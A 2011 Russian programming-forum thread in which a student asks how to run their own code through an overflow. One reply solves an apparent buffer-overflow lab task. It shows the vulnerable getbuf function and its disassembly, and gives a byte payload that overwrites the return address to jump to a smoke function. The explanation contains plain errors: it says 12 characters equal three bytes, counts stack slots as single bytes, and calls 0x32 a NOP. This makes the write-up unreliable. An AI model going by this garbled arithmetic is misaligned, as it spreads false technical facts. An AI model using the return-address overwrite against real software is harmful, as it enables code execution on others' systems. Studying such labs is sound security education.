Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 27.06.2011, 15:32   #1
ромик0
Форумчанин
 
Регистрация: 23.05.2011
Сообщений: 121
По умолчанию за счет некоторой ошибки выполнить свой код.

мне возможно по уровню знаний с++ знать это не положено, но... как за счет ошибки переполнения выполнить свой код ? объясните на примерах, пожалуста.
ромик0 вне форума Ответить с цитированием
Старый 27.06.2011, 15:43   #2
alexcoder
Форумчанин
 
Регистрация: 31.05.2009
Сообщений: 786
По умолчанию

Задача в следующем. Ввод программы это строки различной длинны (будет 5ть строк == 5ть заличных задачь). Строка будет помещенна на стек вызовов, нужно ухитриться написать такую строку чтобы были вызвать другие функции.


Смотри, вот смотри, решение первой задачи !
Нужно вызвать фунцию smoke, переполнением текстовово массива который будет сохранён на стеке


Читает и сохраняет buf на стеке. Нет никаких механизмов, предотващающих строки больше 12 знаков.

int getbuf()
{
char buf[12];
Gets(buf);
return 1;
}

Вот вывод в АТ&Т формате

08048a09 <getbuf>:
8048a09: 55 push %ebp #сохраняем регистр ebp
8048a0a: 89 e5 mov %esp,%ebp #опускаем еsp до ebp
8048a0c: 83 ec 18 sub $0x18,%esp #отнимаем от esp - 18ть == высвобождаем места на стеке для buf
8048a0f: 8d 45 f4 lea -0xc(%ebp),%eax
8048a12: 89 04 24 mov %eax,(%esp)
8048a15: e8 33 01 00 00 call 8048b4d <Gets>
8048a1a: b8 01 00 00 00 mov $0x1,%eax
8048a1f: c9 leave
8048a20: c3 ret


В результате на стеке до вызова Gets, имеем

---------------------
return address //нужно изменить на аддрес Smoke
---------------------
saved ebp
---------------------
char array xxxx
---------------------
xxxxx
---------------------
xxxxx
---------------------


Вот фунция Smoke,

080488c4 <smoke>:
80488c4: 55 push %ebp
80488c5: 89 e5 mov %esp,%ebp
80488c7: 83 ec 08 sub $0x8,%esp
80488ca: c7 04 24 00 95 04 08 movl $0x8049500,(%esp)
80488d1: e8 be fe ff ff call 8048794 <puts@plt>
80488d6: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80488dd: e8 ac 03 00 00 call 8048c8e <validate>
80488e2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80488e9: e8 e6 fe ff ff call 80487d4 <exit@plt>



Каждый адресс в 32битном пространстве может содержать 4 байта
Наша строка содержит 12 знаков = 12/4 = 3 байта

чтобы записать что-то поверх return address, нужно заполнить buf (3 байта) + заполнить saved ebp (1 байт) + заполнить return address (1 байт)

тк порядок чтения байтов с низких к высоким, адресс smoke, должне быть в конце строки, имеем

32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 c4 88 04 08 (32 == NOP, и выполняет роль "мусора" )

Готово
P.S. Это должна быть цитата, но движок не захотел ее принимать
Помощь с программами:
vk.com/alexcoder1
e-mail: informatik101@mail.ru
alexcoder вне форума Ответить с цитированием
Старый 27.06.2011, 23:27   #3
ромик0
Форумчанин
 
Регистрация: 23.05.2011
Сообщений: 121
По умолчанию

спасибо конешно. но я ничего не понял, кроме кода на с++. а нельзя все это сотворить всего лишь со знаниями С++?
ромик0 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скрытые столбцы не дают выполнить код. segail Microsoft Office Excel 2 07.12.2010 10:43
Поместить код в прямоугольник и выполнить artemavd Общие вопросы Delphi 53 15.10.2010 16:10
Выполнить код через макрос vbs segail Microsoft Office Excel 0 04.04.2010 19:25
Выполнить код при закрытии окна просмотра segail Microsoft Office Excel 7 08.02.2010 11:22
Как выполнить код Java из Delphi? ap008 Общие вопросы Delphi 2 22.05.2008 09:51